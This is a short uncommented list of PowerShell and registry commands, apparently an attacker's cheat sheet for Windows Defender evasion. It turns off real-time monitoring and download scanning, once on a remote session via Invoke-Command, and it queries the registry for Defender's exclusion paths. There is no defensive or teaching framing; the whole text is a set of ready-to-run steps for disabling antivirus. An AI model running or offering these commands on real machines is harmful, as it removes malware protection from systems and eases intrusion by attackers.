Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Set-MpPreference -DisableRealtimeMonitoring $true
PowerShell Set-MpPreference -DisableIOAVProtection $true -Verbose
PowerShell Set-MpPreference -DisableRealtimeMonitoring $true -Verbose
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /s